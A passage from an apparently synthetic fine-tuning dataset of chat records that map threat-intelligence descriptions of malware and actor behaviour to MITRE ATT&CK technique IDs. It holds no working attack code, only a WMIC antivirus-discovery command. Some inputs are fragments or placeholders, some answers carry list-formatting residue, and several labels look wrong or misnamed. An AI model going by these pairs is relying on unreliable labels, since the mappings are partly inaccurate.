                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Diavol can collect the username from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The domain names differed but the script adheres to the same logic (including the logic function).” The DNSMessenger malware is an obfuscated and customized version of the popular DNS_TXT_PWNAGE.ps1 script available on GitHub and is also referred to by FireEye as POWERSOURCE"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kaspersky Lab detections for Blue, Black, and Green Lamberts have been triggered by a relatively small set of victims from around the world.  While investigating one of these infections involving White Lambert (network-driven implant) and Blue Lambert (active implant), we found yet another family of tools that appear to be related.  We called this new family ‘Pink Lambert’."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET uses \"scp\" to access the \"~/Library/Cookies/Cookies.binarycookies\" file."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OceanSalt can create a reverse shell on the infected endpoint using cmd.exe. OceanSalt has been executed via malicious macros."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This callback function will call a function named pressedKeyWithKeyCode, which is responsible for logging the keystrokes"
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FlawedGrace creates, encrypts, and stores a configuration file containing the C&amp;C IPs and ports in a “&lt;hex digits&gt;.dat” file (e.g. C:\\ProgramData\\21851a60.dat”). The first 16 bytes of the file are an AES initialization vector (IV). The rest of the data is AES-encrypted in CBC mode"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEMP.Veles has modified files based on the open-source project cryptcat in an apparent attempt to decrease AV detection rates."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 likely used COVID-19-themed malicious attachments against Chinese speaking targets."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Duqu can track key presses with a keylogger module."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer can clear and remove event logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERTON is written in PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT40 strongly favors web shells for maintaining presence, especially publicly available tools"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Action RAT can identify AV products on an infected host using the following command: `cmd.exe WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List`."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates folders to store output from batch scripts prior to sending the information to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Embedded Downloader Trojan The M payload (referenced previously along with the R payload, above) injected and executed within the memory space of the other process is a downloader Trojan. This specific downloader appears to have been created using a VB2Exe tool, as the functional code that carries out the downloading functionality exists as a VBScript embedded within the payload. The payload extracts this VBScript from a resource and saves it to a file that it extracts from another resource. The payload is downloaded from the following location and saved to \"%PUBLIC%\\svchost32.exe"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has registered alternate phone numbers for compromised users to intercept 2FA codes sent via SMS."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses AppleScript to create a login item for persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Inception has used HTTP, HTTPS, and WebDav in network communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoomBox can encrypt data using AES prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The “upload” command downloads files from the CnC and saves them locally in “C:\\ProgramData“"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has lured victims to execute malware with spearphishing attachments containing macros to download either Emotet, Bokbot, TrickBot, or Bazar."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI has stored collected information and discovered processes in a tmp file."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WannaCry then proceeds to encrypt files on the system, searching for the following file extensions, which are hard-coded in the binary"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sharpshooter's first-stage downloader resolved various Windows libraries and APIs, including LoadLibraryA(), GetProcAddress(), and CreateProcessA()."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Note that the actor used the DLL name wercplsupporte.dll as an attempt to masquerade as the legitimate DLL name, which is wercplsupport.dll (T1036.005: Match Legitimate Name or Location). In addition, more masquerading was used to make malicious Scheduled Tasks blend in with legitimate ones (T1053.005: Scheduled Task"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses DNS TXT records for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After selecting a payload URL, the script will create copies of certutil and regsvr32 to the temp directory for later use"
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dok proxies web traffic to potentially monitor and alter victim HTTP(S) traffic."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Seasalt obfuscates configuration data."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RemoteCMD: This tool executes commands on remote computers, similar to the PsExec tool. Usage is: %s shareIp domain [USER INFORMATION||[USER NAME AND PASSWORD]] [/run:[COMMAND"
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kerrdown can encrypt, encode, and compress multiple layers of shellcode."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Newer variants of BACKSPACE will encode C2 communications with a custom system."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For C2 over HTTP, Helminth encodes data with base64 and sends it via the \"Cookie\" field of HTTP requests. For C2 over DNS, Helminth converts ASCII characters into their hexadecimal values and sends the data in cleartext."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Maze has stopped SQL services to ensure it can encrypt any database."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, threat actors used domain accounts to gain further access to victim systems."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We are also highly confident that BlackOasis was also responsible for another zero day exploit (CVE-2017-8759) discovered by FireEye in September 2017.  The FinSpy payload used in the current attacks (CVE-2017-11292) shares the same command and control (C2) server as the payload used with CVE-2017-8759 uncovered by FireEye"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BBSRAT can list running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "lists the running processes"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For that we can use a Python script, included in Appendix B – Python Scripts"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to decode this data, Comnie first decodes it using base64 with the following non-standard alphabet (note that it is simply the original alphabet in reverse): /+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA   The resulting data is then parsed and decrypted using RC4"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers the IP address and domain from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use the command-line utility cacls.exe to change file permissions."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While historically TA416 has delivered Zip files from cloud hosting providers containing a decoy file, legitimate PE file, a DLL loader, and a PlugX malware configuration DAT file, recent campaigns used a different tactic. Proofpoint researchers noted that the malicious Zip files delivered from DropBox now contain a rudimentary executable which is a dropper malware. This malware establishes persistence for a legitimate executable file used in DLL search order hijacking, as well as initiates the download of four components. These components are included below and resemble the components used in the past to install PlugX malware. Public research has previously documented TA416’s propensity for including PlugX Trident Loader components and decoy in the initial delivered Zip file. The method of installing PlugX via DLL Search Order hijacking that displays a PDF decoy remains constant"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used RC4 to encrypt C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE can discover and collect victim system information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyclops Blink can use a custom binary scheme to encode messages with specific commands and parameters to be executed."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "That malicious dll then loads encrypted shellcode from the binary, which is decrypted and runs the final BUGJUICE payload"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RedLeaves can obtain information about the logged on user both locally and for Remote Desktop sessions."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "How about DPAPI with keys tied per user &amp; system. Volume serial ID keying. See the APT41 talk #FireEyeSummit7:19 PM · Oct 30, 2019·Twitter for Android12 Retweets1 Quote Tweet35 LikesNick Carr@ItsReallyNick"
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Also, the PlugX that Mustang Panda APT uses has some extra features, including spreading through USB, gathering information, and stealing documents in air-gaped networks via USB"
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method', 'T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This group uses spear-phishing emails to deliver both malicious Word and PDF documents, and attempts to social engineer the victim into an infection rather than trying to exploit a software vulnerability"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa has the capability to create and modify file timestamps."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Industroyer can use supplied user credentials to execute processes and stop services."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "deleted the DLL dropper from the victim’s machine to cover their tracks."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Capable of stealing documents sent to the printer queue. Data gathered for victim recon includes the backup list for Apple mobile devices. Steals written CD images. Capable of stealing files previously seen on removable drives once they are available again. Steals Internet Explorer, Netscape Navigator, FireFox and RealNetworks cookies"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "COM and execution in same sentence"
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Briba installs a service pointing to a malicious DLL dropped to disk."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  Javascript backdoor added a local_update_check value under the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run to establish persistence. Additionally, a  custom executable containing Metasploit shellcode is saved to the Startup folder to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can measure the download speed on a targeted host."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Taking advantage of the unprotected open Docker API port, the attackers are able to instantiate an Ubuntu container with the following entry point"
            },
            {
                "role": "assistant",
                "content": "T1609 - Kubernetes Exec Into Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attempts to overwrite operating system files with image files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackEnergy has conducted port scans on a host."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. MSGet typically downloads encoded binaries from hard-coded URLs. Source: Secureworks) - Screen Capture Tool— This tool can capture the desktop of a victim's system (see Figure 5). Figure 5. Source: Secureworks) - RarStar — This custom tool uploads RAR archives to a specified URL as POST data (see Figure 6). RarStar encodes the POST data using Base64 and a custom XOR algorithm. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. WinRAR — This tool extracts tools for lateral movement and compresses data for exfiltration. Use malware to upload the large list of enumerated files to the C2 server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity"
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can use \"netstat\" to enumerate current network connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has been observed being used to download  and the Cobalt Strike Beacon payload onto victims."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EvilGrab has the capability to capture audio from a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUPERNOVA is a Web shell."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Threat Group-3390 tool can create a new service, naming it after the config information, to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLUELIGHT can zip files before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script writes files to the path % appdata %\\Roaming\\Microsoft\\Templates\\, then creates two task entries triggered to run daily."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer can identify the process that owns remote connections."
            },
            {
                "role": "assistant",
